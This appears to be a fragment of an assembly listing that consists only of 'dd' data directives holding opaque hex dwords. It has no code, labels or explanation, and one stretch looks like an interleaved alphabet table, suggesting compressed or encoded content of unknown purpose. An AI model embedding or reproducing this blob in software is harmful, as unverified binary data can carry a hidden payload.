dd 0F8125588h, 88006106h, 0D1267423h, 3925E430h, 2C002EE1h
dd 33C697F3h, 352E44C1h, 3A398931h, 653B3Ah, 1896DF36h
dd 0D78B46h, 424039EBh, 0D32D4CD8h, 1EDBFE01h, 0CABF79DAh
dd 83C7D4h, 0F7D9E880h, 0EC5589C1h, 3E60CB00h, 0EB01F8A2h
dd 71A400B6h, 1432AF43h, 0A7002DAEh, 0A1B42B93h, 9C0FFAh
dd 0FBC1B801h, 589666EBh, 116BEC00h, 2703F80Eh, 0A6D83DA0h
dd 4EE5C180h, 0E02D6EBDh, 4FD58709h, 0E4E7006Ah, 222C35Bh
dd 6084482Ah, 61E06B29h, 0E48BA13h, 0C20776A2h, 5721C385h
dd 2BE35680h, 0D874030Dh, 0D680DCC7h, 0D1F0EAF8h, 5D8D6300h
dd 28C25F90h, 0E7FC0008h, 0A4F8C4CAh, 270045CEh, 48F324DAh
dd 1E1E91EFh, 40441A22h, 7538920h, 0C0074FC4h, 0E6E8D4A3h
dd 0ACCD82D0h, 0C66E00B7h, 0F43FF02Bh, 803C2606h, 0C0FE02FCh
dd 60752D0Ah, 59DE4ABh, 412E74C4h, 0A4A68146h, 5ECDE4F9h
dd 3880500h, 0EE8A6B53h, 8DCF1F2Ah, 0D6AD8742h, 0EB5BF0ABh
dd 0A400CC88h, 0D8DEA1C3h, 1B8C41h, 7FD307Ch, 4DFF01F5h
dd 7475F425h, 0BB0D00C4h, 3414DE45h, 0E40FC400h, 41AB127Eh
dd 43290104h, 4B0B1F91h, 0F9987150h, 0DEC16031h, 6BB86600h
dd 2E6C9622h, 9E1E00EBh, 9A88FC25h, 0DD004517h, 0F7EE7E0h
dd 1CC9B258h, 808DF228h, 0BF065975h, 0C200AA9Ah, 45D36649h
dd 64E31Ah, 0A9F938B4h, 847A16D8h, 736D3100h, 0C92E3283h
dd 8DA70008h, 0D0445F46h, 0F5008925h, 0A03D0320h, 58227507h
dd 4600BB09h, 119FA506h, 737B90AAh, 9D7E811Fh, 326B800h
dd 0E1340h, 0CDC43C6h, 0DB8D6BE9h, 2D2E0801h, 69053FFFh
dd 2104E12Fh, 5B6C7048h, 83C44000h, 0E051ECA2h, 0E1D901F4h
dd 72BFE837h, 0DBFCD80Eh, 749C2D00h, 9BF2D8A7h, 83DD3C48h
dd 0FAA8D401h, 0FC410B70h, 9A00DA09h, 0F8EF80BCh, 7E675DFh
dd 3187BF2h, 9B6BF0BAh, 4400148Ah, 7DDE515h, 8E8C0h, 660F7004h
dd 45E33005h, 621DE27Ch, 480032EBh, 64CBCAAh, 82F0073h
dd 8205C879h, 0C00F83Bh, 0A303C96h, 712FF83h, 8027730Fh
dd 351F707Ch, 44E425C6h, 4FE00E00h, 0FE0D781Ah, 13800011h
dd 0EBED7739h, 2F981F14h, 3128A601h, 525F9862h, 7A533530h
dd 21190325h, 0F150A190h, 77835688h, 0C1303A00h, 389D6EAh
dd 53120088h, 6A80C302h, 6008BEEh, 0A0042ECEh, 7CA0BC8h
dd 0B46B840Fh, 79FC4069h, 5C2C9DAEh, 0EA008361h, 1EFF13F3h
dd 607A00D1h, 1F7C04F6h, 0F4891BFh, 82D0EFDh, 81A70064h
dd 0B6B3DAh, 15730DE0h, 0E0549F2h, 27D22103h, 98989378h
dd 0DFF410h, 0B8D7146Dh, 0C22B122Ah, 0DA790104h, 9FC18534h
dd 0E44062F5h, 614057h, 0F7A4B91Bh, 0C0DF6A1h, 0F93DFE00h
dd 24C4811Eh, 1F75000Fh, 0EBECCC49h, 0A00397Bh, 0AA3004C1h
dd 1E7820h, 2122D489h, 0EA44316Ch, 0B009873h, 3134C8Dh
dd 0C61602h, 80D58207h, 0F7D1853Fh, 0CCB9540Eh, 0E5EB271Fh
dd 88D271E0h, 0D5FB008Ah, 6FF19E9h, 0B900F008h, 9D9B1CD1h
dd 261EBA7Dh, 27E2DBh, 6BF89A6h, 0F600E8EEh, 3E13C185h
dd 5C0DFF80h, 303AD7C5h, 464E0107h, 7075F0FCh, 7D008286h
dd 53A0CE0h, 2C6699h, 1246152Bh, 3B1F0748h, 4AD8CE1Fh
dd 0B0DF2400h, 5CD4B81Dh, 0E83B960Ch, 2A582B80h, 9C43D003h
dd 0DE252404h, 0BDC11362h, 0AAFC8498h, 1C35F212h, 825002F9h
dd 3E52E0D9h, 3FDFB0E0h, 0DB6EEB00h, 8AFF9B8Eh, 0D2A90266h
dd 0B0179E26h, 0DD90C1E3h, 527F89BCh, 906D2800h, 0C30B859Bh
dd 989900ACh, 4ECA4320h, 0C40027DDh, 0F03A2CF3h, 0F730Ah
dd 290DDA26h, 0CE904349h, 53B80600h, 131CEA52h, 140E008Ah
dd 619DB3CAh, 0A93D9428h, 6BE4002Ah, 9040EDD2h, 0F4FA0381h
dd 720A9E9Ch, 2143801h, 0BCC54BB5h, 0B871F8h, 250E978Ah
dd 0F0340F4h, 0B67850Fh, 7606A055h, 0FE81216h, 3F957AA7h
dd 741B0520h, 1C002029h, 16B93862h, 3C278B40h, 0DF8FB015h
dd 5B40C477h, 0B932D1B8h, 3D52073Fh, 34450030h, 0AF3F272Bh
dd 43906Ah, 511008EEh, 88154B90h, 42003EB8h, 0E40C2344h
dd 1E793A14h, 73918Ah, 85080A5Ch, 0B11E0490h, 210074FCh
dd 2CEC64F8h, 60422CE0h, 56520027h, 97915014h, 0CF19507h
dd 8762FC78h, 8225C008h, 0B8400073h, 8C5D54BCh, 8D0024D7h
dd 158B64A8h, 8043F3h, 0CB4EC93Dh, 1C303312h, 9810BA00h
dd 708D404Bh, 734F00D4h, 76B30BC4h, 743F8744h, 0EC7A8045h
dd 5798F20Dh
dd 258C006Fh, 302F206Eh, 42E4F178h, 1C0E397Eh, 0E7760410h
dd 0A8340E1h, 2B110082h, 5025D453h, 8B0BB273h, 33E9ABAh
dd 0F860A7EEh, 0E1A5D84Eh, 1318960h, 0F71EE3DBh, 408A07D0h
dd 97C1FF8Fh, 0D80E1879h, 0D108B3h, 350573E0h, 71060B41h
dd 70809DDBh, 0ACE6E2F3h, 85C33803h, 0B9038B61h, 53F8F420h
dd 1F30E618h, 3085DF2h, 98DB0CE6h, 0F410E099h, 8D122E7Ch
dd 0E0E3353h, 0E7D140B0h, 0D74DFDh, 0AEF8DC3Dh, 0F2015AC3h
dd 76F68500h, 3C647163h, 0CAE029h, 0EEE0E9C1h, 35FF983h
dd 1F7E800h, 0E78166FAh, 0BA0F00FFh, 2CE5C26h, 0C7003BF8h
dd 9DD02177h, 10CDF5h, 4E14069Fh, 0E09373FAh, 0B507247Eh
dd 47E88801h, 0C5BF023Bh, 0EB3FC07Eh, 212C011Ch, 1F0F5372h
dd 0CC10E4C6h, 4E0002E0h, 0B8B9D75h, 0E498C985h, 0FF7A3E35h
dd 3BCAFB80h, 4F5FE15Ah, 0E54EB014h, 2BA9008Ch, 4C770CBAh
dd 0DAB8177Dh, 0C2690145h, 30080110h, 0CE1F71A7h, 3ABE5920h
dd 16378099h, 0B1438D27h, 0E06E00C3h, 0E9775A35h, 0CC03CA55h
dd 0C085C950h, 0C73CA876h, 0D6810033h, 0F30C5D70h, 100E540h
dd 0DC92772h, 71C2F002h, 0D68B3E13h, 0CF507480h, 0F8D103D2h
dd 87057539h, 0CEB3201h, 0B4A6B080h, 0A02F0054h, 91757948h
dd 11FE42A5h, 0B657700h, 75676B5h, 5478ABh, 9D7B22BBh
dd 0BFAE3CECh, 0B10C7000h, 9A2DC2B4h, 0A049481Ch, 0CE34A11Dh
dd 52E0880Ah, 0FED0845Fh, 77F23200h, 0C8F94CAh, 0FAD1004Bh
dd 8A7F2089h, 11005653h, 0B8E1CB27h, 0ADA17h, 76F4F0Fh
dd 0E3C8FDF2h, 8A225500h, 0BDEAF8FCh, 759F008Bh, 5334AA87h
dd 0C7027C8Dh, 0CA1E88A3h, 840740C3h, 28A00D5h, 274307ECh
dd 0DE004647h, 7570B033h, 28E6E8h, 2A09BC80h, 4B26048Bh
dd 16C78A00h, 0F13E0649h, 0F40000Dh, 0C8E65B81h, 7D3B0C34h
dd 37311824h, 5711DCh, 40478014h, 0D97B754Bh, 28EFF100h
dd 50390563h, 4E8E8B9h, 0CF498F20h, 0F8E280ECh, 0B100B054h
dd 2E0BAFFh, 39735C8h, 496071A7h, 0D9B013FCh, 2900ADC2h
dd 4B89A09Dh, 7CDB85h, 5843762Dh, 0A5799FD7h, 41023000h
dd 0FF5EE180h, 0D9953C01h, 0E9181480h, 0C70A57E2h, 88A11C00h
dd 0F21F75Dh, 408C0059h, 183C8D12h, 307F2AC3h, 2ED61F00h
dd 2410A9EBh, 75217EABh, 0E3800002h, 0FC3245F3h, 75011A6Ah
dd 0FE4134F0h, 0D670DFB6h, 0E52C0749h, 0E07D3173h, 0B9FF3E62h
dd 4D9FD400h, 5F9589ECh, 9334001Ch, 9BDD88B0h, 1A1D0C71h
dd 0A89DE410h, 6EB78680h, 0C776B4h, 0DE3D34Ah, 0D6E8FD4Fh
dd 7E400401h, 4730BE21h, 0E0446130h, 13FF7D18h, 1A2CBFh
dd 0AF4ED6FAh, 0F2B89F23h, 59760E9h, 5FE4FE00h, 82783EBAh
dd 5816037Bh, 9297831Dh, 755BC998h, 33ADFC00h, 8D487C06h
dd 89231FBBh, 0A7084157h, 61042035h, 904EF815h, 54A2FE03h
dd 8041C59Ch, 7444342h, 48474645h, 4B4A0049h, 4E004D4Ch
dd 0A51504Fh, 38545352h, 5801C655h, 62615A59h, 6564C063h
dd 68676603h, 806B6A69h, 76E6D6Ch, 7271706Fh, 75740073h
dd 780E7776h, 307A79h, 34333231h, 37361C35h, 2B390038h
dd 24203D2Fh, 9D284Ch, 7D7B5D5Bh, 703A3B2Ch, 5C5F002Dh
dd 927222Ah, 91000D0Ah, 0AAE4C4E0h, 7388E867h, 0DA950F04h
dd 0C55E24FFh, 0C084EA21h, 0EC8B2706h, 1490B926h, 3620CB03h
dd 70D5A801h, 15E60FFCh, 0C62080B5h, 5C49E960h, 9E099B00h
dd 9C732D85h, 947A00FCh, 114A641Bh, 96FC6B5Bh, 8CEC9F00h
dd 0DB2D16DCh, 0C39707C0h, 914B5421h, 0FC66C204h, 190759E4h
dd 941FEBECh, 956BC70h, 4052008Ah, 0D4CF5C7Ch, 33001571h
dd 0FF273929h, 3C4BA3F4h, 790010FDh, 83481F05h, 400093C8h
dd 0A5CEB6F0h, 823252h, 0D98CD5F4h, 0C6660347h, 11F01600h
dd 5521429Fh, 4ABF0051h, 6C7EE292h, 0BB0076E1h, 0EB071569h
dd 41B929h, 0DC30630Ah, 0AB83E806h, 5600807Eh, 0E7C1157Ch
dd 0F869CFh, 8BFD097Dh, 7E58562h, 8F82B80Eh, 464BC10Bh
dd 3D60ED05h, 76EA00F0h, 2BBCE14h, 0C7143032h, 0CAF468h
dd 0EFC11A13h, 1C6FF24h, 336AD94h, 41FA6E7Eh, 2B13ED8Ch
dd 6AA1B0h, 0A6C246Dh, 7BEF947Fh, 15684A00h, 648CD44h
dd 387A4Bh, 519E418Bh, 2F02BAF3h, 921ACF07h, 0E83084E9h
dd 7BDD206h, 0A7EC4FF9h, 2ADF90C2h, 2004589h, 169F4999h
dd 0ECD9C65Ah, 6B7623h, 2F42C288h, 0F0CA36FFh, 0BA70E100h
dd 0F969CB33h, 0AD5C00D4h, 6068A240h, 627F6FD8h, 3BB50303h
dd 0A86D5AA4h, 1FE361Dh, 5315C83Fh, 0D4952D01h, 0D8023B81h
dd 0C029B27Ch, 6EE0E01Bh, 592EC49h, 50B1C594h, 2132839Fh
dd 0B2525207h, 62B071C4h, 790B0A0Dh, 1EB473FFh, 15D80CAh
dd 0B186A9C6h, 0A33EF44Fh, 50495307h, 16B5B95Bh, 32A0C1C7h
dd 0FC982A64h, 0F8281C13h, 5EB9C023h, 52250194h, 4690200h
dd 484EB36Fh, 0A25F0010h, 0BF446CF0h, 25001609h, 9DC24FAEh
dd 3081B8h, 9208E2C1h, 0E90071Dh, 47D10B00h, 75484B0Dh
dd 782E74EEh, 0FAB70066h, 498A01D3h, 0C0F8840h, 206A4306h
dd 0E183CAC1h, 6CD5003Fh, 184C2596h, 0EAFA270Eh, 6031E70Fh
dd 0D6D4006Bh, 79FC6ACh, 68B1527Fh, 900A97C9h, 750BCB7Eh
dd 6B80D100h, 902D37D8h, 0B85000E6h, 477CE29Fh, 3F72A4A3h
dd 4058AB00h, 252785A1h, 9F000C6h, 5F1CF405h, 8F000F15h
dd 334E99A4h, 0EC859A23h, 0F36A0058h, 0CAA15AA9h, 761E05F1h
dd 308A2B8Dh, 7C01BB3Ah, 0E0EFE378h, 0A2D0D6F5h, 0A4EC64h
dd 0F692FF30h, 75023A07h, 0E2C64600h, 94D701EFh, 0F83E0F17h
dd 7CC08483h, 0B6D44733h, 0BCA8E07h, 5E90148Dh, 139629h
dd 0C9241C1Eh, 0FE0274B1h, 1ADC0900h, 0D280B8FFh, 3B5E079h
dd 754F4304h, 7DD830D3h, 10017414h, 0C45B1FFh, 0C03E3B08h
dd 0A689057Ah, 2EDDF400h, 44D12D1h, 341D0F65h, 4700F78Ah
dd 0FD44F8A1h, 0A200D9E4h, 6590899Dh, 582E38h, 0F02D704Fh
dd 10E9A151h, 0A2271801h, 74532F85h, 0BCD1D8h, 0B9546A1Dh
dd 4C9CD4F3h, 90CB8B1Dh, 4717CDC0h, 1E8AEB5h, 0F6B02BCFh
dd 20E6D655h, 0F0122C84h, 9CECC3FAh, 0D465007Eh, 0C1E4ED15h
dd 0F7000316h, 0CE2B94BFh, 756247h, 12EC04B9h, 0A7C82728h
dd 1114D3Ch, 2EDE2CD3h, 0C0D7A242h, 1EAED4A3h, 8FCAA4E4h
dd 5A3DD69h, 0DCB87610h, 0D0018BD7h, 89DF6F62h, 9220A270h
dd 107891h, 13A9D812h, 2C78F0CBh, 80060B00h, 60E25C3Bh
dd 4BFEFEh, 0B57EB0DEh, 0E5BD2AECh, 154F1B00h, 194558F4h
dd 927777h, 7FB7DD56h, 5E5F630Bh, 0F4716001h, 91A5C438h
dd 875F0h, 0F24A5A33h, 44022717h, 41A4EF00h, 69E95748h
dd 5FEC6Fh, 37814531h, 9453885Bh, 57018D7Ah, 0E8719D0Dh
dd 46C847BFh, 17C800A0h, 5FC34287h, 34029CDDh, 0F0C5FC91h
dd 2256C1AAh, 3812CCh, 72F77DA4h, 19681384h, 0C174C600h
dd 505FC752h, 0A69F00BDh, 9D0F7386h, 2C000279h, 34EC9632h
dd 64AF37h, 39C495C6h, 56B29EB3h, 0C585F71Fh, 4DB86345h
dd 0C3EC58C0h, 0D31D003Fh, 0A632E606h, 0A094B17h, 0CDE7B1h
dd 3A25A58Eh, 0E6AAEC29h, 93FA0044h, 0D01B9266h, 5E01BB65h
dd 14B45026h, 2AD419F2h, 0C79F0987h, 0E60089A9h, 0AF560574h
dd 316F839h, 9CB466ACh, 0D88CC364h, 758BDDh, 4B937C2Fh
dd 6A24A058h, 7A820300h
dd 5AC773A4h, 0BA727Eh, 27841D5h, 0C327116Ch, 4B8E5901h
dd 0A6B01E5Fh, 40D2ECh, 7517496Fh, 227C3966h, 0A39F4507h
dd 86202F71h, 0D94161h, 7BDB2529h, 676F881h, 35A85500h
dd 75AE2638h, 0CB450093h, 1834EA74h, 232E04DFh, 0AC034A08h
dd 0E88237EBh, 641AE2h, 0A6432101h, 9854B34Ah, 0FC93B909h
dd 48815F69h, 0D4022D6Ah, 7D004DBEh, 0C59B05A4h, 0B062A7h
dd 42BFC963h, 1C8F36A8h, 0FF96D100h, 0C4B8BC6Ah, 124F1D5Bh
dd 9C5C044h, 2C464772h, 40703802h, 7D94C0AAh, 0E8C0230Fh
dd 0FC9591DBh, 45F60A7Dh, 8D268F00h, 7AF2357Bh, 1AD2052Fh
dd 0C0F007D3h, 0C2552B85h, 0F4D07800h, 1B3BC13h, 100B002Eh
dd 0E881A64Ah, 910F2924h, 60F164A5h, 9F0D9669h, 95840046h
dd 866A4BF6h, 0E8075414h, 302B75FCh, 0F0CBE693h, 0E329BAh
dd 0AC2C164Ch, 0F55CF4E4h, 48FC2D01h, 5A59A165h, 70A580F4h
dd 0A62107E2h, 436C14C4h, 35A94485h, 5F51E0DCh, 92F46000h
dd 0C9311EFCh, 0CA090549h, 80405553h, 0C807302Dh, 94E98800h
dd 0B6F2E06Ch, 667C08h, 0D806EBD1h, 35F00973h, 83203E1Ch
dd 0B8F38100h, 0CEFEEDh, 31EB1C75h, 4FDA8EC1h, 5BD5E100h
dd 0EF6CD2F7h, 0A5D0003Eh, 0AFA955C0h, 61004384h, 97C447D4h
dd 0E8510E2h, 28BFEDA0h, 0EC41DA0Fh, 0F0A8E0D6h, 0BBFC59ADh
dd 80F3A53Eh, 46712D63h, 7B849743h, 0FC1807B2h, 518A1403h
dd 0C09DDF92h, 9EB0D368h, 0F8043Dh, 5DD0D45Fh, 3CC60150h
dd 8980B0A2h, 85FC29B7h, 4DEE17A9h, 7B2CDC00h, 5A241051h
dd 0E8010021h, 0B1ECDD4Fh, 93057102h, 52DF2347h, 0F31617C0h
dd 4FAC0028h, 77E50FCCh, 3E002941h, 0C8099412h, 1B1697h
dd 0F9A8072Dh, 7CD15A58h, 0F0564500h, 0BA51F6E6h, 5B380160h
dd 0CE077948h, 0B146CCEBh, 10FE8300h, 0C1ECF1EDh, 0DC95005Eh
dd 96D37224h, 0A800ABE2h, 67BD1E75h, 0E8D1ED2Bh, 8CB000E6h
dd 70834FF8h, 7C0058FFh, 3C709EFh, 9160C0h, 0A8A0048Ah
dd 3B94980Bh, 61114A00h, 51010244h, 0E3C10012h, 88C33683h
dd 71174606h, 2800295Fh, 34B264ABh, 0A58B1DAEh, 0E45200D2h
dd 92B2CB1h, 5CC45905h, 0C8016278h, 565B5A02h, 7F89760h
dd 8BFC12AAh, 40C2B7F3h, 789E7908h, 0B1A96000h, 985E58Eh
dd 0FE500134h, 4D8B42ACh, 0FD94DCDAh, 51E8AFF8h, 7400197Bh
dd 49CF5C1Fh, 1D952044h, 8D1118h, 0CEEA2FA3h, 0AB984556h
dd 58B02100h, 209EA967h, 2AF3007Eh, 2C29BC6Dh, 0D8E89F57h
dd 0CA529C00h, 42A4968Fh, 0D575FFh, 0ABE8C3C1h, 290C3292h
dd 0AF880807h, 0ACE0DB7Ah, 1CC21FCAh, 0C0E69443h, 1C77CEEDh
dd 61E2BA6h, 814097AAh, 0E38D5426h, 5E280070h, 0DCBC2C4Fh
dd 0F277C28Bh, 0B689E200h, 912F1CAAh, 834000E4h, 64751EF8h
dd 0DE019A5Dh, 0E83120BBh, 646049A3h, 0B7241E79h, 0A2A500A9h
dd 4659DE5Ch, 62B52900h, 2EA68A3Dh, 891A0010h, 0AE1F783Bh
dd 0EF1E200Dh, 0A2405096h, 8B100E75h, 0A98D00FEh, 7ADF1DEh
dd 6600A5F3h, 2D5B1E29h, 51AABDh, 0CBCC734Ch, 0C9705CB8h
dd 0BD4E000h, 3F77FC45h, 29C400F5h, 7C27785Eh, 4C0081A9h
dd 0B22B1ED9h, 3B8352C0h, 0BD0088DAh, 0B3ABFE59h, 0B900D40Ah
dd 33B4A913h, 1420AAh, 5F90C3C9h, 0AF81EA92h, 5108B900h
dd 0E97C805Eh, 126E001Fh, 7B74A9DDh, 500EB3Bh, 570F01B5h
dd 0C282Ch, 92049EC8h, 0CCE40DC9h, 0EE063Ch, 10D008D4h
dd 0F831FCh, 1DD87D89h, 59226421h, 0AC1F34F8h, 0F60080E0h
dd 528AACBh, 0BCD400C8h, 0B3E81662h, 0BE002B24h, 0D01EBA19h
dd 7E33D802h, 2C050049h, 0EB63D759h, 32002126h, 0F21E6FCCh
dd 2C1CC851h, 8E0BF7h, 2331716Ah, 600159Bh, 0E14CBA84h
dd 0D2CBFAh, 0CE2824Bh, 779808DAh, 9A0B2700h, 3B42D6D3h
dd 9FB0ACh, 6759C2C8h, 5CD42630h, 9600DEFAh, 1B88CCE8h
dd 0DC7EADh, 50E94151h, 0FBFE7DBh, 0BCDE6300h, 440C70B1h
dd 94EF0361h, 0A82414E3h, 2010709Fh, 0AC0040B0h, 39B481B8h
dd 0F85BC5h, 0B6BE24FCh, 0DC224972h, 20581D73h, 0A4AD004Eh
dd 19FA1E82h, 0E00200B8h, 0B449DC3Bh, 0D2732D16h, 36C5Ch
dd 71CF4691h, 28AC29h, 2EB6704Fh, 0BE18A867h, 9AC3B216h
dd 6900911Fh, 22291646h, 24AD0164h, 0D81B996Fh, 0B6E0DE51h
dd 505BAA8h, 64F9E3ECh, 0F195A50Ah, 54189107h, 8F200DBh
dd 1FD84293h, 814EB914h, 89D2D0B2h, 0CC1C9E64h, 988603FDh
dd 0C80A91D9h, 53AE5Bh, 175874DBh, 0EF0B4A4Eh, 0FF9CF018h
dd 0EC7552h, 185F8068h, 0F4E363C1h, 0E02BA00h, 1E4E1077h
dd 0E48C01AFh, 18A7F660h, 2030D914h, 0E1752A88h, 4C7C7175h
dd 0FA80DC01h, 820643BAh, 8C68DCh, 0B33242Bh, 2CD247B9h
dd 42621900h, 0C9DC21AEh, 0CED72673h, 0B2900085h, 430C967Bh
dd 7D3C2D7Dh, 8010B977h, 22FFD392h, 0C08368h, 0F31FB078h
dd 0CEDBF603h, 0BACF1B00h, 40AF3F13h, 87B600B2h, 0D7E7F40Bh
dd 4C0092DFh, 11D46D0h, 0F87032h, 0F4F15DD5h, 0EC933C2h
dd 0A9CAD200h, 29AF6A84h, 2A811238h, 0C3050102h, 0C9109E43h
dd 8722703Fh, 0F5933Fh, 8F060F38h, 3BE30811h, 1680FA0Ah
dd 0B4F845B7h, 3900EBC8h, 0BA9B6BE7h, 2ACB0Bh, 7CB091E6h
dd 5C0E479Ch, 79535400h, 694C0901h, 31500062h, 736DC81Eh
dd 0F3030C5Ah, 0FF2593CCh, 1D8BD856h, 0A953023Eh, 7D04BFD9h
dd 95746240h, 75EFFB0Eh, 1A02610Ch, 81F59868h, 8BECF4h
dd 0EB124DD3h, 0EECFF34Bh, 5F4A4800h, 0FC555280h, 25C13BB8h
dd 934BE880h, 0D01603Ah, 9F761C00h, 45283EE9h, 0A9440006h
dd 2714914Fh, 2500F823h, 0E5EA6BABh, 7421396h, 124756DBh
dd 6CD18053h, 78001B76h, 9CB9A1C2h, 28D745h, 954E4F1Fh
dd 0AC841D68h, 2299A200h, 0DFE68B71h, 903A7896h, 645C00D7h
dd 0D98F04ECh, 51007509h, 0FCF01440h, 0ECEBB2E4h, 8C5B015Fh
dd 8464BDFh, 63DECE6h, 4253B00h, 0DB19C1D0h, 0EC0200EBh
dd 78B9F6FFh, 2D000DF7h, 2CC4F43Ah, 0B89DAAh, 3358DD7Bh
dd 20BEC529h, 624CB207h, 145013E6h, 35BE82Dh, 8DB86104h
dd 80EDAD2Fh, 6890DD1h, 4938F800h, 5328BAC6h, 0CB150A91h
dd 0AC318Bh, 3FB833Fh, 0C006076h, 9BE848D2h, 24C518h, 9C098940h
dd 0B01F0456h, 7E2B1425h, 9A8D00CDh, 0BA1A8626h, 0E6313800h
dd 0F4C2CA93h, 82240394h, 29B2F972h, 0AF051B0h, 26DB2200h
dd 9317E83h, 0F22B3D74h, 0A54E7980h, 9B20B425h, 874F987Fh
dd 1A2C4DBCh, 0A9C70040h, 91DC45C9h, 804D073Bh, 8A032D2h
dd 7C701094h, 0E4A82C5Ch, 85E80085h, 38BFB2B0h, 5F8BA400h
dd 14AFB7D6h, 98C800BAh, 85903B8Ah, 0FF002175h, 66FF9BCh
dd 4C4E1E96h, 61008BDEh, 122BC667h, 0E8FBF687h, 9F3C1043h
dd 0B2B78B55h, 0A08F006Fh, 29EAA5h, 0C4363240h, 212DB350h
dd 0C671F39h, 0E2E165Ah, 22F86Ch, 0D23CD34Eh, 0B8F84883h
dd 0A1B301Ch, 90167343h, 0B40CD8C5h, 0B2440013h, 573ED36Eh
dd 0F00F6A5Ah, 2019BD4Ah, 43E0C8E8h, 12532E4Ch, 295C0097h
dd 73D06630h, 2C03B3F0h, 2116D3A2h, 545B8D8h, 0FFDD00D2h
dd 0C743759Ch, 0A90E1048h, 0AF490F26h, 5C6E05ADh, 0AC0C0680h
dd 7C477574h, 9251EE4h, 37B30FB9h, 0C26308A7h, 8940A2D6h
dd 0FAF2A4ACh, 2F3E2CFEh, 0BACF3976h, 0E08480A8h, 0B5165CB3h
dd 63210069h
dd 0ECFC6579h, 9400478Dh, 542DF450h, 7F5ABAF0h, 65B60026h
dd 0D04351BFh, 0C6000AB2h, 2B610B8Bh, 0E1B510h, 559D8A6h
dd 0E6A8C4Ah, 0B7D49C00h, 0BCCDA06Bh, 7AC40E11h, 9A6FA3B5h
dd 70F1DBC7h, 6EC2AA1Bh, 7D549D00h, 83DE9ECFh, 4D7B00E2h
dd 5290E3C8h, 88042345h, 0EC44B581h, 394F73C0h, 0E483902Ch
dd 0FEC400B0h, 53859586h, 0B3D199Dh, 8492D00Ch, 0B85D3207h
dd 89C9B412h, 26AA00FAh, 82EFF4h, 51CE7D8Dh, 0FDC39257h
dd 6642411Eh, 21F34C47h, 387EBC7Ch, 0BF00493Eh, 19EBE8D2h
dd 0A800C3BEh, 0B48EA30Eh, 9E2FACh, 1DA6759Fh, 42485536h
dd 62034BF8h, 0D89B545h, 44A9D06Dh, 0A5CE0191h, 22D725BFh
dd 0B8AFC47h, 0AC644A00h, 0F819F669h, 0A829001Ah, 0DF54E20h
dd 7BB8BA2Ch, 3F6051ECh, 0BE80D616h, 105E0BB9h, 28808875h
dd 0CCAB85FBh, 0D6502607h, 0E71FE031h, 558044BEh, 3E25D2F4h
dd 74047864h, 0C0A040FBh, 0F02E13D3h, 0D8482AE8h, 48CD0076h
dd 9559B745h, 0E2050078h, 0C1BAD5B8h, 5400F8DCh, 0E18ED34Ah
dd 2EC4694Bh, 0C19062h, 88792B52h, 650078BFh, 80C1B0B7h
dd 107EBh, 3A740472h, 7D956E67h, 755CE9F8h, 1451006Ch
dd 9EE325Dh, 0E590028Ah, 4DD78970h, 0BE81D489h, 0D804B84Fh
dd 1E00FDA2h, 0A1383652h, 20E6305h, 1D451723h, 0DA401929h
dd 92FE8048h, 0F104741Dh, 0FDA5E7C0h, 7CDE4F4h, 0F00693FAh
dd 0B92F9061h, 0BB00793Fh, 4A97892Bh, 1835B59h, 8E1CC778h
dd 700AFB45h, 0C90013BBh, 4B7E0D0h, 2659FA5Fh, 0DE010Dh
dd 0E7557C8Ah, 0E8074284h, 5319A76Bh, 0FF046FE0h, 57933E8Eh
dd 0C85A1A00h, 8FB083FEh, 0A7E2F03h, 9880E10Fh, 0F94594h
dd 15086EEBh, 81C49610h, 67D38600h, 0A528F895h, 0C5AD1F41h
dd 0FE830001h, 0FC457E02h, 0B000998h, 3E7DF03Bh, 0FA4178h
dd 0B838147Fh, 48A08203h, 0D4287528h, 2421F800h, 0B1541A22h
dd 102EC84h, 0AFFB672Dh, 60DC68C2h, 0F4CF45Dh, 80553EADh
dd 0B9368BC5h, 3CD20873h, 0B897304Ah, 0EE8800A7h, 0E4C16D7h
dd 616C4300h, 1C8E3373h, 0C8460048h, 0ACA754D9h, 0F03E8B0Ah
dd 347D80CAh, 24B50CE2h, 0B8A20F44h, 0B9C0233Eh, 847252A4h
dd 0F414D005h, 2EC003F9h, 1326FE9h, 36FFC327h, 30E025E2h
dd 5C484A69h, 7CBC000Fh, 0A72B20D1h, 99D4004Ch, 6BBAAAC4h
dd 0E4E5E749h, 0C6F40FB2h, 0DDCAEF01h, 0CC563334h, 1845CE8h
dd 0DC60FC27h, 0F42D4628h, 0BE4A2FFh, 88008398h, 3B633169h
dd 7FC99E21h, 0F9E5000Ah, 4E47C14Bh, 0DB98DB75h, 0A95B1207h
dd 0CCD0CF69h, 0E8BAB113h, 95030097h, 20F1407Bh, 2300DC4Fh
dd 12C0262Eh, 0E738EDD4h, 36C85E8h, 0F575A8BBh, 0BE88A9B0h
dd 7276CF3Eh, 0D68A4200h, 0C8F8910Eh, 8D8E00DAh, 7DD2DC70h
dd 0D77B86F2h, 4DCB30EBh, 3E73E700h, 1B094892h, 0D67B16h
dd 0BEB5205Fh, 6F67699Dh, 2F652500h, 7BBB7389h, 997200B6h
dd 622ED8ACh, 5C00F814h, 2DDAC408h, 7FF5BD48h, 0AF250085h
dd 0A5134D98h, 4C0EC6B7h, 0AEA4772Fh, 1174A03Dh, 0B239CBh
dd 0EB057D0Bh, 0FF35EFAAh, 4831B800h, 84D4295Dh, 34FC0064h
dd 62B995EDh, 0A800CBF8h, 0D88831FFh, 0E4870803h, 4498004Ah
dd 0F2750F45h, 0C40043A3h, 528EBCF0h, 7FB58B5Fh, 4D85006Bh
dd 4EB8BD7Bh, 22606CBh, 7500DB83h, 49975E77h, 50032429h
dd 94C60329h, 0CEFBECC3h, 0FC7B0A00h, 0ED45AA09h, 64407A7h
dd 906A1863h, 86D89A3Bh, 10AE7B00h, 2474DC2Fh, 1D1707D9h
dd 0FE201319h, 575AA00h, 0AE000AC5h, 5EEEE674h, 3F105CB0h
dd 34818ACCh, 0BA169DF8h, 0BC59C0BEh, 0E484261Eh, 5B008B1Dh
dd 438AC268h, 0F88807BDh, 5728D152h, 42D480A4h, 1C002521h
dd 890F0C4Eh, 533F43h, 8FB64B8Eh, 0BD91C52Eh, 0AD3AB200h
dd 0CEE9143Ch, 66D6001Ah, 5161DA4Bh, 1FA109Dh, 0BEFC8A07h
dd 85308F58h, 79A8D9ECh, 5F72014Eh, 3DE45570h, 79F0F430h
dd 3F538B01h, 0D0CFCC9Ch, 0D37330h, 68F810D9h, 21BE42B8h
dd 0D611EC00h, 0F49061DFh, 0ABF300E5h, 0FA649793h, 0AE7637F5h
dd 0D3742000h, 4E030688h, 63C817ACh, 43030004h, 79FA013Eh
